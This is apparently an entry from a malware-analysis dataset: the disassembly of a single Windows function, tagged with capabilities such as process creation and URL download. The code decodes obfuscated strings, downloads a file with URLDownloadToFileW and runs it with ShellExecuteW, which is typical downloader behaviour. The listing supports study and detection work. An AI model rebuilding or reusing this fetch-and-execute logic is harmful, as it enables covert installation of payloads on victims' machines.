Function at 0x406e80
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448345
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x68
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], 0
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4076ff
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push str.I3VxPWVzZ2I7I3VxJGxtYV9hZmM7I2I
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00403570
test al, al
jne 0x406ee5
push 0x20
push str.I3VxPWVzZ2I7I3VxJGxtYV9hZmM7I2I
lea ecx, [ebp - 0x10]
call fcn.004039f0
mov byte [ebp - 4], 2
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x407709
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x453b04
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 3
call fcn.00403570
test al, al
jne 0x406f27
push 0x10
push 0x453b04
lea ecx, [ebp - 0x20]
call fcn.004039f0
mov byte [ebp - 4], 4
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x407713
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push str.LGN2Yw
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 5
call fcn.00403570
test al, al
jne 0x406f69
push 8
push str.LGN2Yw
lea ecx, [ebp - 0x14]
call fcn.004039f0
mov byte [ebp - 4], 6
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x40771d
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.YmpddGNwOw
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 7
call fcn.00403570
test al, al
jne 0x406fab
push 0xc
push str.YmpddGNwOw
lea ecx, [ebp - 0x18]
call fcn.004039f0
mov byte [ebp - 4], 8
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x407727
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
push str.Ym11bGptX2JnbGU
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 9
call fcn.00403570
test al, al
jne 0x406fed
push 0x10
push str.Ym11bGptX2JnbGU
lea ecx, [ebp - 0x1c]
call fcn.004039f0
mov byte [ebp - 4], 0xa
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x407731
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0xb
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x40773b
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x68], esi
mov byte [ebp - 4], 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [edi + 0x14], 8
push eax
push 0x45c9a0
jb 0x407041
mov edi, dword [edi]
mov eax, dword [ebp - 0x10]
push edi
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x64], edi
mov ecx, eax
mov dword [ebp - 0x64], eax
call fcn.00403800
add eax, 0x10
lea ecx, [ebp - 0x38]
mov dword [edi], eax
call fcn.004021a0
add esp, 4
mov byte [ebp - 4], 0xd
push dword [eax]
lea eax, [ebp - 0x3c]
push eax
call fcn.0040a450
mov byte [ebp - 4], 0xc
or ebx, 0xffffffff
mov edx, dword [ebp - 0x38]
add esp, 0x14
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40709b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x14]
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x60], edi
mov ecx, eax
mov dword [ebp - 0x60], eax
call fcn.00403800
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.004021a0
add esp, 4
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xe
call fcn.00405200
add esp, 4
mov byte [ebp - 4], 0x10
mov eax, ebx
mov edx, dword [ebp - 0x40]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4070ef
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x18]
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x5c], edi
mov ecx, eax
mov dword [ebp - 0x5c], eax
call fcn.00403800
add eax, 0x10
lea ecx, [ebp - 0x30]
mov dword [edi], eax
call fcn.004021a0
add esp, 4
mov byte [ebp - 4], 0x11
lea edx, [ebp + 8]
cmp dword [ebp + 0x1c], 8
jb 0x40712d
mov edx, dword [ebp + 8]
test edx, edx
jne 0x40712d
xor ecx, ecx
jmp 0x407141
mov ecx, edx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407132
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x30]
call fcn.0040a010
push ecx
mov ecx, dword [ebp - 0x30]
mov edi, esp
add ecx, 0xfffffff0
mov dword [ebp - 0x54], esp
mov dword [ebp - 0x58], edi
call fcn.00403800
add eax, 0x10
mov dword [edi], eax
push ecx
mov byte [ebp - 4], 0x12
mov ebx, esp
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x50], esp
add eax, 0xfffffff0
push ecx
mov edi, esp
mov ecx, eax
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x58], eax
call fcn.00403800
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.004021a0
mov ebx, esp
mov byte [ebp - 4], 0x13
push ecx
mov edi, esp
mov dword [ebp - 0x4c], edi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x38], eax
call fcn.00403800
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.004021a0
add esp, 4
mov byte [ebp - 4], 0x11
call fcn.00406500
mov edi, dword [ebp - 0x3c]
add esp, 0xc
push 0
push 0
push dword [ebp - 0x34]
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
call fcn.00401600
mov ecx, eax
test ebx, ebx
je 0x4073a0
test ecx, ecx
je 0x407759
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0x14
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x407745
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
push str.Y3BwbXBdYW1iYzsjIS4vLnY
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x15
call fcn.00403570
test al, al
jne 0x407240
push 0x18
push str.Y3BwbXBdYW1iYzsjIS4vLnY
lea ecx, [ebp - 0x24]
call fcn.004039f0
mov byte [ebp - 4], 0x16
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x40774f
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.YmpdY3BwbXA
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x17
call fcn.00403570
test al, al
jne 0x407282
push 0xc
push str.YmpdY3BwbXA
lea ecx, [ebp - 0x28]
call fcn.004039f0
push ebx
push ecx
mov byte [ebp - 4], 0x18
mov ebx, esp
mov dword [ebp - 0x54], ebx
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x4c], eax
call fcn.00403800
add eax, 0x10
lea ecx, [ebp - 0x44]
mov dword [ebx], eax
call fcn.004021a0
add esp, 4
mov byte [ebp - 4], 0x19
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.0040a450
mov byte [ebp - 4], 0x18
add esp, 0xc
mov edx, dword [ebp - 0x44]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4072de
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov ebx, esp
mov dword [ebp - 0x54], esp
mov dword [ebp - 0x50], ebx
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.00403800
add eax, 0x10
mov dword [ebx], eax
push ecx
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x6c], esp
add eax, 0xfffffff0
mov dword [ebp - 0x44], esp
push ecx
mov ebx, esp
mov ecx, eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x48], eax
call fcn.00403800
mov ecx, dword [ebp - 0x44]
add eax, 0x10
mov dword [ebx], eax
call fcn.004021a0
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x44], esp
push ecx
mov ebx, esp
mov dword [ebp - 0x70], ebx
mov ecx, dword [ebp - 0x38]
call fcn.00403800
mov ecx, dword [ebp - 0x44]
add eax, 0x10
mov dword [ebx], eax
call fcn.004021a0
add esp, 4
mov byte [ebp - 4], 0x18
call fcn.00406500
mov edx, dword [ebp - 0x48]
or ebx, 0xffffffff
add esp, 0xc
mov byte [ebp - 4], 0x16
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407379
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x14
mov eax, ebx
mov edx, dword [ebp - 0x4c]
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407394
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x50]
jmp 0x4075a9
test ecx, ecx
je 0x407759
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.cXJfcHJdZ2xxcl9qag
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x1c
call fcn.00403570
test al, al
jne 0x4073d7
push 0x14
push str.cXJfcHJdZ2xxcl9qag
lea ecx, [ebp - 0x28]
call fcn.004039f0
mov byte [ebp - 4], 0x1d
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x407763
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2c], eax
push str.bW5jbA
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x1e
call fcn.00403570
test al, al
jne 0x407419
push 8
push str.bW5jbA
lea ecx, [ebp - 0x2c]
call fcn.004039f0
mov byte [ebp - 4], 0x1f
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x40776d
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
push str.LWdscmNwbF9q
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x20
call fcn.00403570
test al, al
jne 0x40745b
push 0xc
push str.LWdscmNwbF9q
lea ecx, [ebp - 0x24]
call fcn.004039f0
push ecx
mov byte [ebp - 4], 0x21
mov ecx, esp
mov dword [ebp - 0x70], esp
push 0x452b82
call fcn.00402d70
push ecx
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x50], esp
push ecx
mov ebx, esp
mov dword [ebp - 0x54], ebx
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x54], eax
call fcn.00403800
mov ecx, dword [ebp - 0x50]
add eax, 0x10
mov dword [ebx], eax
call fcn.004021a0
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x50], esp
push ecx
mov ebx, esp
mov dword [ebp - 0x4c], ebx
mov ecx, dword [ebp - 0x38]
call fcn.00403800
mov ecx, dword [ebp - 0x50]
add eax, 0x10
mov dword [ebx], eax
call fcn.004021a0
add esp, 4
mov byte [ebp - 4], 0x21
call fcn.00406500
add esp, 0xc
push 5
push 0
push ecx
mov ebx, esp
mov dword [ebp - 0x70], ebx
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.00403800
add eax, 0x10
lea ecx, [ebp - 0x4c]
mov dword [ebx], eax
call fcn.004021a0
add esp, 4
mov byte [ebp - 4], 0x24
push dword [eax]
push dword [ebp - 0x34]
push ecx
mov ebx, esp
mov dword [ebp - 0x70], ebx
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x44], eax
call fcn.00403800
add eax, 0x10
lea ecx, [ebp - 0x50]
mov dword [ebx], eax
call fcn.004021a0
add esp, 4
push dword [eax]
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov edx, dword [ebp - 0x50]
or ebx, 0xffffffff
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40754e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x21
mov eax, ebx
mov edx, dword [ebp - 0x4c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40756c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, ebx
mov byte [ebp - 4], 0x1f
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407587
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x1d
mov eax, ebx
mov edx, dword [ebp - 0x44]
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4075a2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x54]
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4075bd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x10
mov eax, ebx
mov edx, dword [ebp - 0x30]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4075db
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xc
mov eax, ebx
mov edx, dword [ebp - 0x34]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4075f9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xb
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x407614
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xa
add edi, 0xfffffff0
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x40762f
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x58]
mov eax, ebx
mov byte [ebp - 4], 8
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40764a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x5c]
mov eax, ebx
mov byte [ebp - 4], 6
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407665
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x60]
mov eax, ebx
mov byte [ebp - 4], 4
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407680
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 2
mov eax, ebx
mov edx, dword [ebp - 0x38]
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40769b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x64]
mov byte [ebp - 4], 0
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x4076b4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 8
jb 0x4076ee
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4076e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407777
push ecx
push edx
call fcn.004230ab
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
call fcn.00427d73
int3